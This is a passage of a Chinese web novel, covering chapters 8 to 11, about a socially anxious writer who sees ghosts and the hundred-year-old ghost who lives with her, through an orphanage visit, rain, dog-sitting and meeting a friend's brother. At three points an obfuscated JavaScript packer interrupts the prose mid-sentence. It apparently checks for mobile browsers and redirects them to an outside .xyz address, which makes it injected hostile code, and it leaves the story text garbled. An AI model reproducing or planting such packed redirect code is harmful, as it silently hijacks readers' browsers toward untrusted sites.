院长举着相机走过来,咔嚓一下,把喻声、秦淑含、福珠、柿子、画和幸福永远定格。 最后把相片留给了福珠,庆祝她的第二次人生在浓郁的秋天开启。 喻声伸手去拿,这次拿住的是照片。 她久久摩挲着照片上自己的脸。 鲜活的脸,酒窝酝酿着甜意,嘴唇漾开,脆生生的笑容,另一个喻声。 “没怎么变吗?”喻声问。 恍惚间,她也不知道是在问江时,问过去的自己,还是在问现在的自己。 江时靠着椅背,侧过身,目光在喻声身上流转:“看起来心事是多了点。” 喻声笑,把照片塞回书里,轻轻把福珠被风吹得凌乱的头发别到她耳后。 她声音很低,近似呢喃:“都过去两年了,多点心事也很正常吧。” ——所以两年前的你,没有那么多心事的你,也会在睡着时皱眉,流泪,声线模糊地喊着妈妈,说着害怕吗? 江时定定地看着喻声,心里想着,却没问出口。 “那你呢?” “我?” 喻声点头:“以鬼的身份存在了100年,有什么变化吗?” “之前没感觉到,最近感觉到了。”江时笑,坐直了点,“遇到你后好像开心了不少。” 他数着开心的点,坦诚认真:“我没吃过那么好吃的饭,没看过那么好看的文章,没见过像你一样对鬼这么宽容的人,没尝试过这么鲜活的日子——” “这些都是因为遇到你才会拥有的。” 好吃、好看、宽容、鲜活。 他的形容词太匮乏,却很直白。 时间流动,日落时刻,树缝透过的光变成了橘色,所有声音都被过滤掉了。 喻声心头猛猛一跳,起起落落,不知所措。 刚才被福珠脑袋砸掉的念头又慢悠悠飘了回来。 8. 100岁 念头堪堪浮现,到底没再说别的。 秦淑含站在小食堂门口唤着喻声和福珠,喻声招了招手示意,随即把江时手里的图画书接过来,翻开确认照片好好地夹在里面,才连带着玩偶一起小心地放回袋子里。 “你先在这里等我一会儿,我和秦奶奶说一下,我们就回去。” 江时嗯了一声,知道这会他也帮不上忙,就嘱咐喻声小心点。 喻声往上掂了掂怀中熟睡的福珠,底下腾空的手晃了晃,江时把袋子挂了上去,她才笑着说知道了。 天空被泼了颜料,飞鸟是画笔,把橙黑搅在一起,把所有暂时无法言说的情绪化成布在上面星星点点的灰。 五岁的小孩已经有些重量,何况正在熟睡中,全身都依赖着喻声,不长的一段路,喻声走得很缓、很稳,台阶一步一步,走到时也花了点时间。 “怎么睡着了?” 秦淑含迎上来,伸手想接过福珠,喻声侧了一下,避开,依旧稳稳当当抱着:“秦奶奶,我抱着福珠吧,一会再找地方放下,你的腰千万要注意,今年都重复闪腰好几次了。” 秦淑含没拗过喻声,笑着摇头,还是坚持从喻声手中拎过袋子,腾了张椅子给她坐:“你当年来的时候——是两年多以前吧,当时不说健步如飞,就是干好几个小时的活也不嫌累,这两年老得太快了,力不从心了很多。” “这几年来了太多孩子,您太辛苦了。” 喻声坐下,视线往旁边绕了两圈,落在一群半大点,围在保温桶边争着多要个饺子的孩子身上。 这群孩子,和福珠年龄差不多的也有,裹着毯子,还需要护工抱着的也有,一个个如同柿子树上结的柿子一般,澄亮、锦簇、昂扬高挂,“时间过得太快了,福珠在我印象里还是小小一个,如今底下也一堆弟弟妹妹了。” 秦淑含点了点福珠的鼻头:“福珠长再大,也还是最粘你。” 喻声笑,低眼看向怀里的福珠,声音很轻:“这倒是。” “福珠的身体还好吗?” “还是那样,好几年了,也没法做手术,只能保守治疗,走一步算一步。” 聊到伤心的地方,秦淑含眼泪将落未落,聚在眼眶里,她低头掩着眼用手胡乱擦去,强撑个笑抬眼看喻声。福珠的病、福利院众多孩子的病往她脸上剜开很多条沟沟壑壑,这一笑沟壑又深陷了些,没擦干的泪弯绕成河填进了沟壑里。 她转着话题,问:“留下来吃饭吧,今晚饺子包了很多,有你最爱吃的白菜肉馅。” 喻声抿唇,后悔自己脱口而出的提问,也明白此刻所有的安慰都是徒劳,也许是她思索时手握得紧了点,怀里的福珠悠悠转醒。 “喻声姐姐,秦奶奶——” “饺子!” 福珠朦胧的眼在看到饺子时陡然亮了起来,得知是秦淑含亲手包的时双眼变得更加灼灼:“我要吃!” 喻声被逗笑,往下扯好她睡得皱巴巴的衣服,轻拍了下背把她放下来,小姑娘刚站直就撒着欢奔向饺子,跑到一半想起来什么,还返回来踮脚伸直手把喻声送她的礼物袋子取下来抱在怀里,再掉头去拿碗领饺子。 “慢点!这孩子。” 秦淑含的泪被福珠明亮如太阳的话蒸发干,喻声的心也比刚才轻快了不少,她拒绝了秦淑含的好意:“秦奶奶,我该回去了,不然太晚了夜路不好走。” “你瞧我这记性,我都还习惯你住学校,公交直达校内那会呢。现在自己住了,确实该早点回家,安全点。”秦淑含说,“你等一下。” 她撑了下桌子站起来,转身进厨房,不多时提了袋柿子出来,和两年前一样,往喻声手里塞:“前几天摘了,一直在等你来。” 不止两年前,每一年,柿子树结果的日子里,摘好的柿子,秦淑含都会给喻声留一袋,但她不会提让喻声来拿,怕会让这份关心背上贬义的意味。 只是每到柿子成熟的时节,她会带着福珠在门口玩一会儿。 这是福珠告诉喻声的,因此每年喻声这个时间段就算没空,也会抽时间来,算是彼此之间一种心照不宣的默契。 喻声笑着接过,和捧着碗回来的福珠告别,劝住要送送她的秦淑含,从热闹的、冷白的灯光中退出,迈入空旷得只剩江时、暖黄的夕阳里。 喻声在台阶这头,江时在台阶那头,从低朝高望着她,伴随着掀开的食堂帘子嘴角漾起熟悉的小括弧。 喻声迈得很快、很急,台阶一步到两步,等到平地时小跑了下。 “等很久了吗?” “没有。”江时顿了一下,“怕你找到我要很久,就在这里等你了。” “福利院才多大,你去哪找你都不会太久的。”喻声笑,“现在回家吧。” 从福利院回到公寓,只需要在福利院门口坐六站公交车,在书店下车,再走五分钟就能到。 出来的时间很不凑巧,等到整片天空都熬成可见度很低的黑,才等到公交车出现。 从食堂台阶处走到公交站,直到上了车,两人都没再说一句话,一开口,仿佛话题兜着转着又会回到原点—— 喻声抱着福珠离开树下的长椅,背对着江时的时候,耳边传来他的提问。 “我的存在,也会让你变得开心一点吗?” 上了车,喻声坐到窗边,目光可以自然地放到没人的风景上时,才有空思考这个问题,包括苦恼的“习惯”一词。 习惯和开心是有区别的。 习惯意味着羁绊,意味着片段记忆被占据;而开心意味着不后悔,意味着点状记忆可以珍藏。 “如果回到那天,我仍然会在自我介绍后,问你想不想谈谈。” 外面淅淅沥沥下起了雨,雨水在车窗上蜿蜒。 江时忽然轻笑:“知道了。” 他坐在喻声旁边,靠过道的位置,趁着车内下班的乘客都疲倦地垂下双眼没注意周围的间隙,把喻声掉了一半的有线耳机塞回她耳朵里。 雨水滴答声、公交到站的播报声、耳机里清晰的歌声、江时缓缓的说话声,同时传来,喻声超负荷,有点宕机。 “前方到站,家和书店,请从后门下车,注意脚下安全。” “以后也是,有想谈的可以跟我谈。” “不走吗?” 江时站起来,指了指窗外,问。 喻声扭头,从模糊的车窗依稀看到亮着的“家和书店”的招牌,忙不迭地把柿子提好,手捂着头往下冲刺,到书店屋檐下才停住。 比起喻声的慌乱,江时显得不疾不徐。 他路过时,雨水就停在半空,落不到他身上,等他错开时才砸向地面。 ——鬼果然活得比人更自在。 喻声想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373071|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不买把伞吗?” “需要伞吗?” 一道声音飘在空中,一道声音落到实地,书店里的灯光透过虚掩的门也照得一明一暗,喻声站在明暗分界线上,下意识往明亮的那面望去。 是一个很白净的男生,刚从书店里走出来。 他穿着白衬衫西装裤,衬衫虚虚挽到手肘处,衬得骨骼感明显,脸上挂着眼镜,拿着伞递过来的那只手上戴着黑色腕表,另一只手提着购物袋,里面装着两本书。 江时被劫了话茬,语气冷漠:“肯定是书店派来卖伞的。” 喻声:“……” 见喻声久久不回应,男生又把伞往喻声面前递了一下,开口:“我家离这儿不远,我跑过去就好了,伞你拿着吧,别感冒了。” 江时靠着书店的玻璃门:“别信他,谁知道收了伞后会提什么要求。” “……” 喻声不露痕迹地挡住江时的视线,无声地阻止他再说话,“谢谢啊,不过不用了,雨不大,我也跑回去就好了。” 男生愣了一下,似乎没想到喻声会拒绝,他的话都堵在喉咙里,把脸憋红,犹豫半天终于闭眼破罐子破摔地问出来:“我是想问,可不可以要个联系方式?我不会打扰你的。” 江时靠过来,拉住喻声的手腕往后撤了一步,上下打量着男生:“我说对了吧,果然不怀好意。” 男生看不到江时,却能看到喻声在往后退,眼神不由黯淡了一瞬。 “不好意思啊。”喻声礼貌拒绝,“不太方便。” “……好,打扰你了。” 男生勉强笑了下,没再说什么,逃荒似的躲进雨中,有伞也忘了打开。 “我还以为你会不懂怎么拒绝。” “为什么这么说?” “你不是不喜欢跟人打交道吗?” “这叫社恐。” 江时从善如流:“你不是社恐吗?” 喻声瞥了他一眼:“你在旁边这么叽叽喳喳的,谁还顾得上社恐。” 江时:“……” 他望天,选择性忽略喻声的话,几番辗转又绕回最开始的话题上来:“买把伞吧?” 喻声掌心朝上,伸到屋檐外,感受雨的温度,缩回手后又看向江时。 “淋雨吧,我们尽快回家。” 偶尔,也想像那些如柿子般的小孩一样昂扬朝气一次,哪怕是用最幼稚最无厘头的方式,哪怕最终被定义为肆意妄为。 好在还有陪喻声胡闹的人。 江时扬了扬眉,无声接受她的提议,喻声毫无防备,被扯住右手腕就往雨中跑。 手腕处他刚拉着她往后退时的温度还没撤去,马上又覆上新的,手与手的间隙里有水滑过,烫得喻声一激灵。 说好是淋雨,也不止喻声在淋,江时不再避开,顺从地让雨穿过他。 世界上最小的雨,世界上最雀跃的心脏。 喻声笑,左手掰开江时的手指,在他扭头惊讶的眼神中冲到他前面,主动拉着他往家的方向跑。 雨的气味和声音充盈两人之间,愈发清晰。 ——普鲁斯特效应。 喻声在写文时反复运用过的、用于双方绑定记忆和情感的一种效应。 在此刻。 喻声确信。 以后淋的每一场雨,都会想起江时。 9. 100岁 江时被扯着往前跑时,蓦然发现他读不太懂喻声。 她大多数时候像青苔,简单、寂静、向下兼容,对于任何外来的事物都能温吞地接受;偶尔却也像火,不会熄灭,在雨中也能明亮、热烈、向上燃烧。 读不懂,却很好。 他比他想象中的,更喜欢喻声发着光的另一面。 雨也比他想象中的更加猛烈。 跑到公寓楼下时,两个人都可以和落汤鸡相比拟。 喻声松开江时的手腕,跑进架空层躲雨,手撑着膝盖大喘气,抬眼看到被雨水糊了一脸,湿发贴着额角,水珠还顺着发梢往下掉,没比她好到哪里去的江时,又噗呲一声笑出来,结果演变成边喘边笑,久久无法起身。 挺帅。 就是太狼狈。 江时无奈地看着喻声笑,往下捞住她的手臂让她借力站直,接触的瞬间一如之前把她身上的雨水都清理干净。 “笑完了就上楼吧,去洗个澡。” 喻声看了眼楼梯,连连摇头:“让我再缓缓。” “你这体力——”江时委婉,“别老闷在家里,多出门走走。” 喻声:“……” 委婉说出来的话更难听了。 喻声瞬间站直:“走吧,现在回去。” 她正想往前走,却被江时拦住:“我走前面。” 喻声的疑惑在看到楼梯拐角的幻影时消失,等走到了拐角处,记忆中的腥风血雨没有出现,取而代之的是一片宁静,只剩微风拂过脸颊。 江时的脚步声一开始很轻,几乎听不见,路过拐角往上走时就越来越重,咚、咚、咚—— “心跳这么响,刚刚跑完还没缓过来?” 喻声一怔:“不是。” 江时放缓声音:“还是刚刚被吓到了?它刚成鬼,没什么威力,别怕。” “……也不是。”她想了想,还是说出口,“刚才,谢谢。” “这不是我应该做的吗?”又一个拐角,喻声在昏暗的灯光下看清了他浮现笑意、柔软的脸,“别总跟我说谢谢。” 不说谢谢,应该说什么? 说—— “最近我也挺开心的。” 也开始觉得习惯应该不是件坏事。 雨声渐渐模糊,直到上了五楼,出了楼梯间,江时才把在心口握成拳头的手放下,低低地嗯了一声,声音很轻,散在风中。 - 入了秋,东宜的天气更加阴晴不定,去福利院前还是晴空万里,回来时又到处湿漉漉的,雨到了凌晨才终于停歇,一大早的,人还没睡醒,阳光又直喇喇地往屋里刺。 而此时,有人的心情比外面的天气更加阴晴不定。 喻声为难地看着在地上咬着磨牙玩具,闹腾地摇着尾巴转来转去,冲着江时汪汪叫的豆乳,再为难地看看始终维持在三米远,警惕地盯着豆乳的江时,脑海中浮现的是一大早舒云繁抱着豆乳,可怜巴巴的托付—— “声声,豆乳今天可以待在你这里吗?” “可以是可以。”喻声迟疑,有点担忧,问,“但你是有什么急事吗?” 舒云繁平时去便利店上班会背个大的帆布包,里面装有平板、水杯、化妆工具等等,用这些来填满一天中没客人时的闲暇时间,而今天明显来得匆忙,包都没带。 “还不是我哥。”舒云繁叹了口气,“说是昨晚下雨路滑,摔了一跤,也不知道摔得多严重。他一个人住也没人照料,我得去看看他。” “给我吧。”喻声张开手,从舒云繁怀里接过豆乳,“你赶紧去吧,摔伤了干什么都困难。” 舒云繁和她哥哥的困难暂时解决,等门关上,豆乳落地,喻声手里还提着装有狗粮、牵引绳和玩具的袋子,才后知后觉想起了自己的困难。 她接了个稿,涉及她不太熟悉的领域,奈何单主还自愿抬高了稿价,喻声不至于和钱过不去,咬咬牙接下,没承想卡文卡到现在,今天是最终截稿日,时间紧迫,她必须要找个安静的地方好好理理大纲,顺顺剧情。 “那个——” “想都别想。” 江时原本警惕地盯着豆乳,一听喻声开口,视线立马从豆乳身上挪开,斩钉截铁地拒绝。 喻声最擅长顺毛: “给你买布丁?” “想都别想。” “布丁和鲷鱼烧?” “……想都别想。” “布丁、鲷鱼烧和奶茶?” “……” 江时烦躁地抓了抓头发,未发一言。 “买你最喜欢的那款奶茶,小料加满,全糖。”喻声看到希望,双手合十,乘胜追击,“而且你只帮我看一会儿就够了,喂食我来,等我把大纲理完就带它下楼散步。” “……不用碰它?” “不用,有突发情况你就喊我。” 江时最终妥协:“……我试试。” - 喻声发短信询问舒云繁关于豆乳的喂食时间和饭量,再定好闹钟后,就把手机的wifi断掉,阻断诱惑源,全身心投入大纲的整理工作中。 她的困难解决,江时的困难刚刚开启。 他寄希望于那袋玩具能消耗豆乳的精力,随手掏出来后就往豆乳身后扔,但显然豆乳比起玩具更喜欢玩他,瞥都不瞥那些玩具,直冲冲朝江时扑过来。 江时被吓了一跳,下意识扭头就跑,完全忘记还有自己还有闪现的功能,在家里和豆乳开启了追逐战。 “停!” 江时被迫躲进厨房,他跑累了,双腿交叉坐在地上,手掌撑地俯身,另一只手的食指屈着敲击推拉门的玻璃,问被隔绝在外的豆乳:“你到底想干嘛?” 豆乳叫了一声,白色爪子挠着玻璃。 “我不怕你你懂吗?” “汪。” “我只是累了,找个地方坐一下而已。” “汪。” “你看你这么小只,能有什么杀伤力——” 江时话还没说完,听累了的豆乳摇着尾巴转身,跳跃,精准地把因厨房采光好而移到厨房边架子上晒太阳的盆栽撞击倒地,红陶盆瞬间四分五裂。 江时:“……” 厨房门内是重创过盆栽叶子的江时,厨房门外是重创过盆栽花盆的豆乳,一鬼一狗隔着受害者,面面相觑。 江时迅速起身,推开门,刚想神不知鬼不觉地处理案发现场,一抬眼,视线就和因听到响声出房间查看的喻声对上。 喻声只低头看一眼就大概能把事件过程捋顺,但她还是秉承着不冤枉任何一方的原则,耐心地问:“发生了什么?” 江时立马告状:“它干的。” 豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373072|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乳蔫蔫地往地上一趴。 “它在装可怜,真的是它干的。”江时抬手把盆栽恢复原样,扬了扬下巴,“我早说了,你养狗没用,它也会故意破坏你的盆栽。” 话音刚落,他一脸挂着“还是我好使”的字样看向喻声。 喻声:“……” 她那天真的就是随口一说而已,他怎么就记到了现在? “所以我也说了没打算养新小狗。” 喻声出来前还瞥了眼时间,还有不到五分钟闹钟就会响,不如趁现在喂,她蹲下来,拍拍手召唤豆乳,“豆乳,我们去吃饭吧?” 使坏的还有饭吃,他到现在都没看到奶茶的影儿。 江时怨念地看着坐在狗盆面前乖巧等饭的豆乳。 然后,他就眼睁睁看着豆乳衔了三颗狗粮放到了他的脚边,还友好地趁他没反应过来拍了拍他的脚背,最后才回到狗盆旁大快朵颐。 江时艰难发问:“……它什么意思?” 喻声眨眼:“可能是觉得你饿了。” 江时沉默太久,喻声觉得他兴许是对自己的回答不满意,小心翼翼换了种说法:“可能是想养你,但还不确定你能吃多少,先给你三颗试试。” 两种荒唐的说法当然都没被那个死要面子的鬼采纳。 不过也没什么关系,被强硬地推回房间关上房门的前一秒能看见他发红的耳朵,看见后面蹦蹦跳跳跟过来的豆乳触碰到他时没有再引发跳脚反应已经是一种胜利。 哪怕到最后江时还是嘴硬:“我才不是它,见到狗粮就会忘我。” 像豆乳见到狗粮就会忘我一样,喻声一开始写作就会进入心流状态,等她终于把电脑合上,才注意到房间外诡异地安静。 她拉开房门,往外走,映入眼帘的是江时抱着豆乳在沙发上睡着。 鬼不太需要睡眠。 看来和豆乳玩真的很累。 江时斜躺着,浸泡在午后的阳光里,一只手捂着耳朵垫在头下,另一只手悬在外边,松松地搭在豆乳身上,豆乳的头还在亲昵地蹭着他的脖子。 小狗头顶的毛蹭掉了,在柔软的阳光中飞舞,轻轻落到江时的鼻尖,又被无意识皱眉揉鼻扬起,重新流转于阳光中。 无足轻重的一个下午,有种无法用言语来表达的平淡幸福在蔓延,成为记忆中举足轻重的锚点。 那个“客厅腾给我住”的要求,像藏在松软面包里的僵硬葡萄干,直到今天,喻声才后知后觉地感受到它攻击性下的美味。 ——漫长的100年里,只剩他一个人,他也会怕孤独,也会觉得冷清。 这种感觉,她不是不懂,只是刻意忽略。 喻声安静地把扔了一地乱七八糟的玩具捡回袋子里,没打扰熟睡的一鬼一狗,出了家门,打算把承诺好的布丁、鲷鱼烧和奶茶都买回来。 布丁要焦糖奶酪味的,鲷鱼烧要先吃尾巴,要刚烤好时那种脆脆的口感,奶茶里加了三颗冰淇淋还要全糖,这位100年前的老古董口味不是一般的刁钻。 还十分嗜甜。 喻声怕鲷鱼烧买太久了会塌,就先买了布丁和奶茶,才掉头回去买鲷鱼烧。 在等着鲷鱼烧出炉的时间里,喻声余光瞥见了什么,犹豫片刻,还是和鲷鱼烧店主解释“我已经付好款了,一会儿再来拿”,转身进了旁边的店铺。 10. 100岁 “这是给我的?” 喻声回到家后,江时和豆乳都已经醒过来了,豆乳百无聊赖地趴在地上,江时盘腿坐在沙发上,双手随意搭着,直愣愣地盯着前方,一脸没睡醒的样子。 听到开门声,他的脑袋像老屋里年久失修的风扇,一卡一卡地转过来,再一顿一顿地转回去,风力也不足,声音顺着飞舞的小绒毛飘过来。 “回来了。” “回来了。” 小绒毛飞到挂钥匙的喻声面前,她笑着蹲下来,安抚地揉揉豆乳的脑袋,夸了一句好乖。 “东西我都给你买回来了,你先准备吃饭吧,我下楼遛遛豆乳。” 江时没说什么,只懒散应了一声,转着酸痛的手腕,从沙发上站起身,在看到喻声塞给他的东西时一怔。 “这是给我的?” 喻声无法预言未发生的事情,但当江时的声音和脑海中预设的声音重叠,并从中读出期待时,还是会有点莫名雀跃。 “对。”喻声边把胸背放在地上,牵着豆乳的两只手往圈里套,再往上提,在背上扣紧,挂上牵引绳,边分心回答江时的话,“不是经常看我用吗?应该差不多会用了吧?你先自己摸索着,不会的话等我遛完豆乳再来教你。” “这是奖励?” 江时捏着新手机,忽然问。 ——这是奖励吗? 十五岁时的喻声也很爱问这句话。 那十五岁时的喻声爱听的是什么回答? 二十三岁的喻声一顿,拍拍豆乳穿好的胸背,平静地站起身。 而后,十五岁的喻声听到了自己穿过时间、退回原点、久违的声音。 “只是庆祝你做得很好而已。” 因为做得很好,所以值得庆祝,仅此而已。 - 豆乳的闹腾只针对江时,被喻声牵着往前走时倒是异常乖巧。 在这里住了一段时间,要不就是闷在家里,要不就是有目的地的行色匆匆,还没好好看过这里的景色。 江时说得对。 她是得多出门走走。 喻声抬头。 天空被住宅楼分割成好几片,浓郁的金色从裂缝里流淌出来,不吝啬地漫过它所能发现的每一砖一瓦、一人一物。 于是天地之间,有金色的墙、金色的台阶、金色的树、金色的电线杆、金色的正在叫卖的小推车、金色的豆乳、迎面走来的金色的舒云繁—— “声声!” 舒云繁惊喜地朝喻声跑来,“你和豆乳在散步吗!” “你慢点。”喻声笑,等舒云繁跑到她面前站定才回答她的话,“对,我们在散步,要不要一起?” 豆乳见到舒云繁已经按耐不住往她腿上蹭了,舒云繁眼睛亮了一下,接过喻声手里的牵引绳,说了句当然要。 “我还以为你要晚上才能回来。” 舒云繁摇头:“我和我爸妈轮流去看我哥,我爸在看店,我妈去给他送饭,我就先回来了。” “那你哥哥情况怎么样?” 直到晚上吃饭时,喻声还在思索着散步时和舒云繁的对话。 “我觉得我哥不对劲。” “什么意思?” “我今天早上去看他的时候,他整个人都魂不守舍的,问他话时他也迟疑好久才回答。我还问了他怎么摔的,他一直支支吾吾,就说没看清路,感觉像在敷衍我。” “……会不会是你想太多了?” “肯定不是,他今天的状态和平时完全判若两人。”舒云繁信誓旦旦地说,“我又想到上次在你家晃眼看到那个碗飘在半空中,声声你说,我哥不会撞鬼了吧?” “……” 让喻声如此纠结的原因其实很简单。 她有阴阳眼,如果能帮舒云繁看看,至少她不会再这么担心;但这么做的同时势必会让舒云繁先知道她能看见鬼,好不容易有了第一个朋友,她不想就这么失去;可交朋友的前提是坦诚,如果可以,喻声也不想瞒着舒云繁。 弯弯绕绕的,竟找不到一个折中的解决办法。 “我哥今天的状态就这样。” 舒云繁冷不丁地说。 “……嗯?” 喻声从乱糟糟的思绪中挣扎出来,疑惑地抬头看向舒云繁。 “我哥今天的状态和你一样,头都快埋进饭碗里了,一个劲地吃白米饭,一点菜都不夹。”舒云繁关切地问,“声声,你怎么了?是这家外卖不好吃吗?下次我们自己在家做好了。” “不是,我是在想——” 喻声才注意到自己扒拉了半天只吃了白米饭,于是筷子拐了个弯,最后夹了一块滑蛋牛肉放进碗里,思忖半晌,还是把纠结了半天的话说出口,“舒舒,要不我帮你看看吧?” 舒云繁摸不着头脑:“帮我看什么?” 喻声把自己能看到鬼的事情和盘托出,果不其然收获了长久的沉默。 难捱的沉默。 明明是司空见惯的事,但喻声的心还是像被针刺到了一般迅速地瘪了下去,几乎让她再撑起一个勉强的笑都不能,漏洞百出的心最终能通过裂孔掏出来的只有一句没关系。 “没关——” “这也太酷了!”舒云繁睁大眼睛,“果然就我一个人是普通人是吧!” 喻声怔住。 舒云繁絮絮叨叨地说着我哥就靠你了,说着能看到鬼是鬼屋密室爱好者的福音,但又想起上次心有余悸的经历,深深叹了口气。 “不过亲眼所见和想象中的还是不太一样,声声,你受了很多苦吧。” 怎么会没关系。 只是常常遇不到有一个人可以坚定地向她走来,然后说有关系也没问题,有异于普通人的地方是一件很酷的事情。 喻声的泪水要比言语先出来,泪填满了瘪下去的心脏,舒云繁慌张地递过来的纸巾是创可贴,捂住被针刺的伤口。 “不痛吗?伤口。” 喻声迟疑,最终摇头。 “痛就要说啊。” 舒云繁回家后,喻声本来还在盯着门口怔愣,突然被不知道从哪里冒出来的江时牵住,半强硬地把她带到沙发上,问她小腿上的伤口是怎么回事。 喻声坐在沙发上,没回想起来是什么时候受的伤。 本来没什么感觉的伤口一被询问好像真的开始隐隐作痛,仿佛一直身处案板上,此时刀才磨好落下,凌迟的痛感从伤口处进入,自眼睛中出来。 江时拿着棉签,坐在地上半俯身,帮她把伤口清洗干净,语气有点无奈:“我能像帮盆栽一样帮你解决伤口,但解决不了痛感,所以上点药会好点,也别憋在心里,说出来也会好点。” 按到伤口,喻声痛得皱眉,下意识缩回腿,开口。 “痛,但过段时间就会自己好的。” 喻声说,“我现在好很多了,谢谢你。” 江时把棉签扔掉换了根新的,蘸了碘伏擦拭着:“谢我什么?只是庆祝你做得很好而已。” ——只是庆祝你做得很好而已。 喻声送给江时和八年前自己的话,被江时送给了二十三岁的自己。 “你学的倒挺快。”喻声终于笑,低头看江时,这个角度只能看到他小小的发旋和轻轻的动作,“我有什么做得好的值得庆祝?” 江时换了药膏上药,头没抬,慢悠悠地回应着。 “本来可以不说,还是说了。” “本来可以不做,还是做了。” “本来一直沉默,还是学会了痛就要说出口——” “这不值得庆祝吗?” 他一句一顿,很轻,也重,像羽毛,也像石头,于是心脏被泪水灌满、被创口贴捂住的后遗症是又痒又酸。 “诶。”江时停了手上的动作,抬眼看向喻声,正好和喻声四目相对,他佯装不快,问,“这都不值得庆祝的话,为什么我跟狗玩就值得庆祝了?你是在哄骗我吧。” 江时是一本摊开的,很好懂的练习册。 他会凶巴巴地提一千个一万个问题,但同时也会在问题旁边用小字写下—— 你往后翻,最后有答案。 在第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16373073|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几页上都给你注得明明白白。 喻声眨眼:“那值得庆祝的话,让你帮个忙不过分吧?” “什么?” “虽然答应了舒舒,但还是有点害怕,你陪我去吧?” 看在新手机的份上—— 江时点头点到一半,又猛抬头,全身心往前倾:“你果然是在哄骗我吧!” - 喻声为了精进写文技巧,也看过不少书和电影,从中她能大概总结出一点经验来: 不论是哪种类型,剧情都为王道,剧情更加地跌宕起伏、出乎意料,热度就会更高,相比起平淡的剧情更能被读者和观众接受。 但这一套不适合日常生活,生活中太过跌宕起伏和出乎意料,很容易陷入被命运支配的窘迫局面中。 例如此刻。 喻声被一颗名为尴尬的钉子钉在了门口,呆滞地听着舒云繁开门后,朝坐在沙发上看书的男生清脆地喊了一句“哥”。 白净、戴眼镜、戴腕表、书。 书店卖伞—— 不对。 书店借伞的那个男生,怎么会是舒云繁的哥哥? 舒云繁没留意到开门后流转于两人中间的奇怪氛围,挽住喻声的胳膊,还在相互介绍着。 “声声,这是我哥;哥,这是我朋友,喻声,听说你摔了就想来看看,我昨晚跟你说过的。” 舒云霁率先做出反应,他合上书,手指把书页压得很紧,却还是语气轻松地打了个招呼:“先坐吧。” 舒云繁把喻声推到沙发上坐,附耳小声让喻声好好替她看看她哥什么情况,随即看向舒云霁:“哥,我去给声声倒杯水,要帮你也倒一杯吗?” 舒云霁说了声好,舒云繁把放在茶几上的空水杯顺走,进了厨房。 舒云繁离开后,喻声坐立不安,尤其是在得知这个屋子内只有江时一个鬼,舒云繁口中她哥哥的奇怪行为有概率是因为她后,这种坐立不安的感觉更甚。 “那天——” “前天晚上——” 两人同时开口,舒云霁笑:“你先说。” “那天对不起啊,我当时可能语气不太好。” “怪我太鲁莽。”舒云霁把书放到一边,声音温润,“小繁要是说了什么不该说的,你别理她。” 他倒是很了解他妹妹。 喻声笑,心虚感减轻了些。 舒云霁继续往下说:“前天晚上会那么突然,是因为看到了那个。” 他伸出食指,虚空指了指喻声的包。 喻声太多零碎的东西,出门前再倒腾来倒腾去也麻烦,索性一包背到底,前天去福利院也是背的这个包。 不过这个包有什么新奇的地方吗? 见喻声一脸懵,舒云霁又解释:“包上的挂饰,是东宜福利院发给志愿者的吧?我也有一个,就觉得挺有缘分,才想着要个联系方式,但好像吓到你了。” 原来是这样啊。 纯粹的、不关乎男女间的感情,仅仅只是因为有相同的经历。 这么想着,喻声的心情轻快了很多,她握着手机递上前:“现在加个联系方式吧?下次如果有志愿活动我可以直接跟你说。” “好。” 舒云霁划拉着手机,没过几秒,喻声手机就弹出一条消息。 舒云霁:「我是舒云霁。」 喻声慢吞把自己的名字发送了过去:「喻声。」 “在聊什么?” 舒云繁拎着两杯水走过来,期盼地看向喻声。 喻声小幅度地对着她摇了下头。 除了她带过来的那个,房间内没有其余鬼的存在。 想到这里,喻声突然意识到,从进了舒云霁的家直到现在,江时全程保持沉默,明明第一次见到舒云霁时最吵的就是他。 喻声喝了口水,半掩饰地偷偷瞥了一眼江时。 他靠在门边,懒散地,对上喻声的视线时开口说话,声音几乎是哼出来的,听不出高兴还是不高兴。 “凭什么这里就我没有你的联系方式?” 11. 100岁 喻声很想问江时。 他们俩这么睁眼就相见,闭眼偶尔还会梦到的,有什么加联系方式的必要吗? 更何况和鬼交换联系方式,怎么想都觉得很诡异。 但碍于舒云繁和舒云霁在,喻声还是把话咽了回去,她收回目光,假装听不到说话声音,把注意力放到了舒云繁身上。 舒云繁正蹲着,熟练地从茶几下挑挑拣拣掏出两包芝士玉米球。 她给喻声塞了一包,另一包直接撕开后开嚼,整个人陷入沙发里,视线瞥向舒云霁,在他即将开始说教时截下话口。 “哥,那你工作怎么办?” 